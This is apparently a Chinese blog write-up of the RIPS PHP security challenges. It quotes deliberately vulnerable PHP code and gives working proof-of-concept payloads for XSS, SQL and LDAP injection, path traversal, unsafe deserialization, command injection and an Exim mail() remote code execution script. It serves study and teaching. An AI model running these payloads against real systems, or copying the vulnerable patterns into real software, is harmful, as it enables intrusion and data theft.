Rips…

0x01 Wish List

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;

public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}

public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}

$challenge = new Challenge($_FILES['solution']);

这里的漏洞是有关于in_array可被绕过.

in_array

1
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

其中第三个参数如果没有被设置为True就会忽略对$needle进行类型检查,所以可以直接被绕过.


0x02 Twig

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
require 'vendor/autoload.php';

class Template {
private $twig;

public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide »</a>';

// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}

public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}

public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}

(new Template())->render();

这里的漏洞是关于filter_var以及,导致产生xss.

filter_var

1
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

其中题中的FILTER_VALIDATE_URL是过滤关于URL的.
由于并没有对像javascript/vbscript伪协议进行过滤.
但是这个地方有个坑就是一般的写法javascript:alert(1)是没有办法绕过filter_var,这里的写法是javascript://comment%0aalert(1).
换了个相似的环境测试.

1
2
3
4
5
6
7
8
9
10
11
12
13
$url = "javascript://comment%0aalert(1)";

if(!filter_var($url, FILTER_VALIDATE_URL))
{
echo "URL is not valid";
}
else
{
echo "URL is valid";
}

$url = htmlentities($url);
echo "<a href='$url'>Next slide »</a>";

仅仅测试javascript成功,vbscript限制太大(需要iE10及其以下).


0x03 Snow Flake

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function __autoload($className) {
include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}

class HomeController {
private $template;
private $variables;

public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}

public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}

这段代码有两处漏洞,一处是在class_exists(),另一处在new $controllerName().

class_exists

1
bool class_exists ( string $class_name [, bool $autoload = true ] )

其中第二个参数决定是否默认调用__autoload,这样就能造成一个任意文件读取的漏洞.由于__autoload在5.3之后已经被弃用了,所以版本仅限于5.3及其之前.
poc1:

1
http://localhost:4399/rips2017/Snow%20Flake.php?c=../info.php

new $controllerName()这个地方可以引入一些危险的函数,例如SimpleXMLElement来构成一个XXE攻击.(在复现的时候由于缺失render方法失败)


0x03 False Beard

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}

public function loginViaXml($user, $pass) {
if (
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}

new Login($_POST['username'], $_POST['password']);

这个存在漏洞的地方是SimpleXMLElement.
虽然之前有strpos函数进行过滤,但是可以被绕过.

strpos

1
mixed strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )

代码中if判断可以通过让strpost返回0进行绕过.之后就可以进行XML的注入了.(同样在这里复现XXE失败,没有办法解决语法出错的情况)

Poc:

1
username=<"><injected-tag%20property="&pass=<injected-tag>user=<"><injected-tag%20property="&password=<injected-tag>


0x04 Postcard

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}

return escapeshellarg($email);
}

public function send($data) {
if (!isset($data['to'])) {
$data['to'] = 'none@ripstech.com';
} else {
$data['to'] = $this->sanitize($data['to']);
}

if (!isset($data['from'])) {
$data['from'] = 'none@ripstech.com';
} else {
$data['from'] = $this->sanitize($data['from']);
}

if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}

if (!isset($data['message'])) {
$data['message'] = '';
}

mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}

$mailer = new Mailer();
$mailer->send($_POST);

这里的存在的漏洞是mail().
其中第五个参数没有过滤.并且对其他参数过滤的时候使用了FILTER_VALIDATE_EMAILescapeshellarg会造成一个漏洞.

mail()

1
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

由于测试环境是exim4的所以暂时没有想到办法在from参数中逃逸空格.这里展示exim4的RCE情况.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
// RCE via mail() vector on Exim4 MTA
// Attacker's cmd is passed on STDIN by mail() within $body
// Discovered by:
// Dawid Golunski - @dawid_golunski - https://legalhackers.com

$sender = "attacker@anyhost -be";
$body = 'Exec: ${run{/bin/bash -c "/usr/bin/id
>/tmp/id"}{yes}{no}}';
// ^ unfiltered vars, coming from attacker via GET, POST etc.

$to = "john@localhost";
$subject = "Exim RCE PoC";
$headers = "From: mike@localhost";

mail($to,$subject,$body,$headers, "-f $sender ");
?>

以上这段代码来源是Pwning-PHP-Mail-Function-For-Fun-And-RCE.
其中的写入文件的操作没有复现成功,但是可以成功的反弹shell.

FILTER_VALIDATE_EMAIL为什么不安全

这个可以参照why-mail-is-dangerous-in-php,文章中使用的sendmail MTA.并且提到了escapeshellargs为什么不安全.

参考链接

Pwning-PHP-Mail-Function-For-Fun-And-RCE
why-mail-is-dangerous-in-php


0x06 Frost Pattern

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
throw new Exception('Unknown action');
}
}

public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');
}

public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);
unlink('/tmp/tokens/' . $file);
}
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);

这里的漏洞是preg_replace()的正则表达式有误导致被绕过,从而造成任意文件删除.
本来本意是要把不属于._之间的非a-z字符替换为空,但是其中的-没有使用\转义,导致整个正则失去作用.
正确的形式可以是[^a-z\.\-_].
Poc:

1
action=delete&data=../../config.phpaction=delete&data=../../../../../../config.php


0x07 Bells

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function getUser($id) {
global $config, $db;
if (!is_resource($db)) {
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';

这里的漏洞是parse_str()没有设置第二个参数,导致变量可以被覆盖,这样就能把config替换成恶意的数据库,从而返回的username可控.

paser_str

1
void parse_str ( string $encoded_string [, array &$result ] )

在php7.2中,如果没有设置第二参数将会被弃用.
Poc:

1
Referer: http://127.0.0.1:4399/?id=1&config[dbhost]=127.0.0.1&config[dbuser]=xxx&config[dbpass]=xxx&config[dbname]=xxx


0x08 Candle

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
}

foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}

这里的漏洞是preg_replace(),由于其正则表达式使用了e模式,之后处理不到会导致任意代码执行.

preg_replace

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

其中$patterne模式已经在php5.5.0被弃用,php7.0已经移除了.

Poc:

1
2
Offical:/?.*={${phpinfo()}}
Per:?\S*={${phpinfo()}}

针对官方的poc,会与php的参数准测产生冲突,因为.会被处理成_.


0x09 Rabbit

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class LanguageManager
{
public function loadLanguage()
{
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
require_once("/lang/$sanitizedLang");
}

private function getBrowserLanguage()
{
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
return $lang;
}

private function sanitizeLanguage($language)
{
return str_replace('../', '', $language);
}
}

(new LanguageManager())->loadLanguage();

这个漏洞在于str_replace()过滤时不严谨被绕过,导致任意文件读取

$_SERVER[‘HTTP_ACCEPT_LANGUAGE’]

用一段示例代码测试:

1
2
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
echo "/lang/".str_replace('../','',$lang);

Poc:

1
Accept-Language: ....//....//....//....//etc/passwd


0x10 Anticipation

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
extract($_POST);

function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
goAway();
}

if (!assert("(int)$pi == 3")) {
echo "This is not pi.";
} else {
echo "This might be pi.";
}

这里的漏洞是assert()会造成一个命令注入.
其中在做跳转的时候没有使用exit()结束脚本,导致即使通过header()跳转了,但是脚本还是在执行.

is_numeric

1
bool is_numeric ( mixed $var )

php7之前可以使用十六进制,之后就不行了.

Poc:

1
pi=phpinfo()


0x11 Pumpkin Pie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';

public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}

public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:\/', $data)) {
return unserialize($data);
}
return [];
}

public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}

public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}

public function __destruct() {
$this->createCache();
}
}

new Template($_COOKIE['data']);

漏洞很明显的出在unserialize(),虽然在调用之前已经对参数过滤,但可以被绕过.

unserialize

1
mixed unserialize ( string $str [, array $options ] )

Poc1:

1
2
3
4
5
6
7
8
9
<?php
class Template{
public $cacheFile = 'E:\phpStudy\WWW\tmp\info4';
public $template = '<?php phpinfo();?>';
}
$te =new Template();
$arr = array('0' => $te );
echo serialize($arr);
?>

Poc2:

1
a:1:{i:0;O:%2b8:"Template":2:{s:9:"cacheFile";s:25:"E:\phpStudy\WWW\tmp\info4";s:8:"template";s:18:"<?php phpinfo();?>";}}

Poc2是由Poc1生成之后经过修改的,由于需要绕过ifpreg_match过滤,if可以使用数组进行绕过,preg_match这个使用O:+8的形式进行绕过(具体原因我也没有找到,望知道的大佬告知一下).
其中在复现的时候,踩到一个坑,就是如果直接将Poc2传递进Cookie的话,会因为i:0;中的;从而将Cookie截断,所以需要把Poc中出现的;都修改为%3b即可…😰
其中还有个问题是在php7.2的时候已经不支持+这种写法了.

最后发一个大哥关于PHP反序列化的分析


0x12 String Lights

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$sanitized = [];

foreach ($_GET as $key => $value) {
$sanitized[$key] = intval($value);
}

$queryParts = array_map(function ($key, $value) {
return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));

$query = implode('&', $queryParts);

echo "<a href='/images/size.php?" .
htmlentities($query) . "'>link</a>";

这里的漏洞是由于过滤不够严格,导致可以将任意代码插入<a>中,从而导致XSS.

Poc:

1
%27onclick%3dalert(1)%2f%2f=1


0x13 Turkey Baster

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class LoginManager {
private $em;
private $user;
private $password;

public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}

public function isValid() {
$user = $this->sanitizeInput($this->user);
$pass = $this->sanitizeInput($this->password);

$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("user = '$user' AND password = '$pass'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}

public function sanitizeInput($input, $length = 20) {
$input = addslashes($input);
if (strlen($input) > $length) {
$input = substr($input, 0, $length);
}
return $input;
}
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
exit;
}

这里的漏洞是sanitizeInput(),由于过滤不够严谨,会导致注入.

Poc:

1
user=1234567890123456789'&passwd= or 1=1 -


0x14 Snowman

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Carrot {
const EXTERNAL_DIRECTORY = '/tmp/';
private $id;
private $lost = 0;
private $bought = 0;

public function __construct($input) {
$this->id = rand(1, 1000);

foreach ($input as $field => $count) {
$this->$field = $count++;
}
}

public function __destruct() {
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
}
}

$carrot = new Carrot($_GET);

这里的漏洞是由于$this->id可以被变量覆盖,从而导致了任意文件覆盖.

get_object_vars

1
array get_object_vars ( object $object )

这个函数可以做一些过滤.

Poc:

1
?id=<file_path>


Sleigh Ride

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Redirect {
private $websiteHost = 'www.example.com';

private function setHeaders($url) {
$url = urldecode($url);
header("Location: $url");
}

public function startRedirect($params) {
$parts = explode('/', $_SERVER['PHP_SELF']);
$baseFile = end($parts);
$url = sprintf(
"%s?%s",
$baseFile,
http_build_query($params)
);
$this->setHeaders($url);
}
}

if ($_GET['redirect']) {
(new Redirect())->startRedirect($_GET['params']);
}

这里的漏洞是由于在获取parts时,会造成一个任意重定向的漏洞.

Poc:

1
Sleigh%20Ride.php/http:%252f%252fover-rainbow.cn?redirect=1


Poem

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class FTP {
public $sock;

public function __construct($host, $port, $user, $pass) {
$this->sock = fsockopen($host, $port);

$this->login($user, $pass);
$this->cleanInput();
$this->mode($_REQUEST['mode']);
$this->send($_FILES['file']);
}

private function cleanInput() {
$_GET = array_map('intval', $_GET);
$_POST = array_map('intval', $_POST);
$_COOKIE = array_map('intval', $_COOKIE);
}

public function login($username, $password) {
fwrite($this->sock, "USER " . $username . "\n");
fwrite($this->sock, "PASS " . $password . "\n");
}

public function mode($mode) {
if ($mode == 1 || $mode == 2 || $mode == 3) {
fputs($this->sock, "MODE $mode\n");
}
}

public function send($data) {
fputs($this->sock, $data);
}
}

new FTP('localhost', 21, 'user', 'password');

这里的漏洞是fputs(),虽然之前对$_GET$_POST$_COOKIE都做了过滤,但是$mode是通过$_REQUEST获取的,所以可以被绕过.这样就能像FTP连接中注入数据了.

Poc:

1
1%0a%0dDELETE%20Poem.file //删除user用户目录瞎的Poem.file

但是在复现的时候失败了…本地FTP连接上之后使用DELETE删除文件没有问题…


0x17

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class RealSecureLoginManager {
private $em;
private $user;
private $password;

public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}

public function isValid() {
$pass = md5($this->password, true);
$user = $this->sanitizeInput($this->user);

$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("password = '$pass' AND user = '$user'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}

public function sanitizeInput($input) {
return addslashes($input);
}
}

$auth = new RealSecureLoginManager(
$_POST['user'],
$_POST['passwd']
);
if (!$auth->isValid()) {
exit;
}

这里的漏洞出在md5(),因为设置了第二个参数,所以导致可能产生意想不到的结果,导致被绕过.

md5

1
string md5 ( string $str [, bool $raw_output = false ] )

第二个参数被设置之后将会返回长度为16的原始二进制格式.
用个简单的示例

1
2
3
4
5
$pass = $_POST['passwd'];
$user = addslashes($_POST['user']);
$pass = md5($pass , true);
$sql = "select * from users where password='$pass' and user='$user' ";
var_dump($sql);

Poc:

1
passwd=128&user= or and 1=1 --


0x18 Sign

Source:

1
2
3
4
5
6
7
8
9
10
11
12
class JWT {
public function verifyToken($data, $signature) {
$pub = openssl_pkey_get_public("file://pub_key.pem");
$signature = base64_decode($signature);
if (openssl_verify($data, $signature, $pub)) {
$object = json_decode(base64_decode($data));
$this->loginAsUser($object);
}
}
}

(new JWT())->verifyToken($_GET['d'], $_GET['s']);

这里的漏洞出在openssl_verify(),由于这个函数能返回01-1三个值,所以可以导致这个判断被绕过.
只要使用不匹配的签名和公钥就行了.


0x19 Birch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class ImageViewer {
private $file;

function __construct($file) {
$this->file = "images/$file";
$this->createThumbnail();
}

function createThumbnail() {
$e = stripcslashes(
preg_replace(
'/[^0-9\\\]/',
'',
isset($_GET['size']) ? $_GET['size'] : '25'
)
);
system("/usr/bin/convert {$this->file} --resize $e
./thumbs/{$this->file}");
}

function __toString() {
return "<a href={$this->file}>
<img src=./thumbs/{$this->file}></a>";
}
}

echo (new ImageViewer("image.png"));

这里漏洞是利用stripcslashes()可以解析八进制的字符串,导致命令执行.

stripcslashes

1
string stripcslashes ( string $str )

Poc:

1
size=\174\174\167\150\157\141\155\151\174\174 // ||whoami||


0x20 Stocking

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
set_error_handler(function ($no, $str, $file, $line) {
throw new ErrorException($str, 0, $no, $file, $line);
}, E_ALL);

class ImageLoader
{
public function getResult($uri)
{
if (!filter_var($uri, FILTER_VALIDATE_URL)) {
return '<p>Please enter valid uri</p>';
}

try {
$image = file_get_contents($uri);
$path = "./images/" . uniqid() . '.jpg';
file_put_contents($path, $image);
if (mime_content_type($path) !== 'image/jpeg') {
unlink($path);
return '<p>Only .jpg files allowed</p>';
}
} catch (Exception $e) {
return '<p>There was an error: ' .
$e->getMessage() . '</p>';
}

return '<img src="' . $path . '" width="100"/>';
}
}

echo (new ImageLoader())->getResult($_GET['img']);

这里的漏洞在于file_get_contents没有对参数值做任何过滤,导致其可以去请求内网中的服务,从而泄露敏感消息.
其中mime_content_type在php5.3就已经被弃用了.在php7.0已经不能使用了.

Poc:

1
?img=http://127.0.0.1:21


0x21 Gift Wrap

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
declare(strict_types=1);

class ParamExtractor {
private $validIndices = [];

private function indices($input) {
$validate = function (int $value, $key) {
if ($value > 0) {
$this->validIndices[] = $key;
}
};

try {
array_walk($input, $validate, 0);
} catch (TypeError $error) {
echo "Only numbers are allowed as input";
}

return $this->validIndices;
}

public function getCommand($parameters) {
$indices = $this->indices($parameters);
$params = [];
foreach ($indices as $index) {
$params[] = $parameters[$index];
}
return implode($params, ' ');
}
}

$cmd = (new ParamExtractor())->getCommand($_GET['p']);
system('resizeImg image.png ' . $cmd);

这里的漏洞出现在array_walk(),这个函数采用了弱类型,导致最开始设置的declared(strict_types=1)没有在类型错误的时候从而触发TypeError,从而导致了命令执行.

array_walk

1
bool array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )

declare

关于strict参数瞅这里

Poc:

1
?p[0]=1||whoami||&p[1]=2


0x21 Chimeny

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (isset($_POST['password'])) {
setcookie('hash', md5($_POST['password']));
header("Refresh: 0");
exit;
}

$password = '0e836584205638841937695747769655';
if (!isset($_COOKIE['hash'])) {
echo '<form><input type="password" name="password" />'
. '<input type="submit" value="Login" ></form >';
exit;
} elseif (md5($_COOKIE['hash']) == $password) {
echo 'Login succeeded';
} else {
echo 'Login failed';
}

这个漏洞是由php的弱类型引起的,并且由于可以直接传递Cookie,导致可以绕过设置Cookie的步骤.

Poc:

1
Cookie:hash=QNKCDZO

关于PHP Magic Hash


Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class LDAPAuthenticator {
public $conn;
public $host;

function __construct($host = "localhost") {
$this->host = $host;
}

function authenticate($user, $pass) {
$result = [];
$this->conn = ldap_connect($this->host);
ldap_set_option(
$this->conn,
LDAP_OPT_PROTOCOL_VERSION,
3
);
if (!@ldap_bind($this->conn))
return -1;
$user = ldap_escape($user, null, LDAP_ESCAPE_DN);
$pass = ldap_escape($pass, null, LDAP_ESCAPE_DN);
$result = ldap_search(
$this->conn,
"",
"(&(uid=$user)(userPassword=$pass))"
);
$result = ldap_get_entries($this->conn, $result);
return ($result["count"] > 0 ? 1 : 0);
}
}

if(isset($_GET["u"]) && isset($_GET["p"])) {
$ldap = new LDAPAuthenticator();
if ($ldap->authenticate($_GET["u"], $_GET["p"])) {
echo "You are now logged in!";
} else {
echo "Username or password unknown!";
}
}

这里的漏洞出在ldap_escape,由于其使用LDAP_ESCAPE_DN作为Flag,导致过滤无效.

ldap_escape

1
string ldap_escape ( string $value [, string $ignore [, int $flags ]] )

Poc:

1
u=*&p=*


0x24 Nutcracker

Source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$GLOBALS
=
$GLOBALS{next}
=
next($GLOBALS{'GLOBALS'})[
$GLOBALS['next']['next']
=
next($GLOBALS)['GLOBALS']
][
$next['GLOBALS']
=
next($GLOBALS[GLOBALS]['GLOBALS'])[
$next['next']
]
][
$next['GLOBALS'] = next($next['GLOBALS'])
][
$GLOBALS[next]['next'](
$GLOBALS['next']{'GLOBALS'}
)
]
=
next(neXt(${'next'}['next']));

这里是一道Hack.lu CTF的题目,目的是寻找后门.

关于$GLOBALS中的顺序

  1. 首先一开始是第5行的next之后,返回值是$_POST;
  2. 接着看到$_POST之后的数组键名,第8行的next之后,返回的就是$_COOKIE,这样的话就是$_POST[$GLOBALS['next']['next']=$_COOKIE['GLOBALS']];
  3. 接着第12行的next之后,返回的就是$_FILE了,此时就是$_POST[$GLOBALS['next']['next']=$_COOKIE['GLOBALS'][$next['GLOBALS']=$_FILE[$_COOKIE['GLOBALS']]],因为$GLOBALS['next']['next']$next['next']是相等的;
  4. 最后第16行的next之后,返回的就是$_FILE[$_COOKIE['GLOBALS']]['type'],变成了$_POST[$GLOBALS['next']['next']=$_COOKIE['GLOBALS'][$next['GLOBALS']=$_FILE[$_COOKIE['GLOBALS']]][$next['GLOBALS']=$_FILE[$_COOKIE['GLOBALS']]['type']];
  5. 之后的$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})相当于$_COOKIE['GLOBALS']($_FILE[$_COOKIE['GLOBALS']]['type']),这儿就是可以利用的后门.

其中详细说明也给出了分析的步骤.

Poc:

1
2
3
4
5
/Nutcrack.php?cmd=whoami HTTP/1.1
...
Cookie: GLOBALS=assert
Content-Disposition: form-data; name="assert"; filename="Nutcrack_poc"
Content-Type: system($_GET['cmd']);

其中在php7中assert已经变成了语言结构,不能再这里使用.

(ง •_•)ง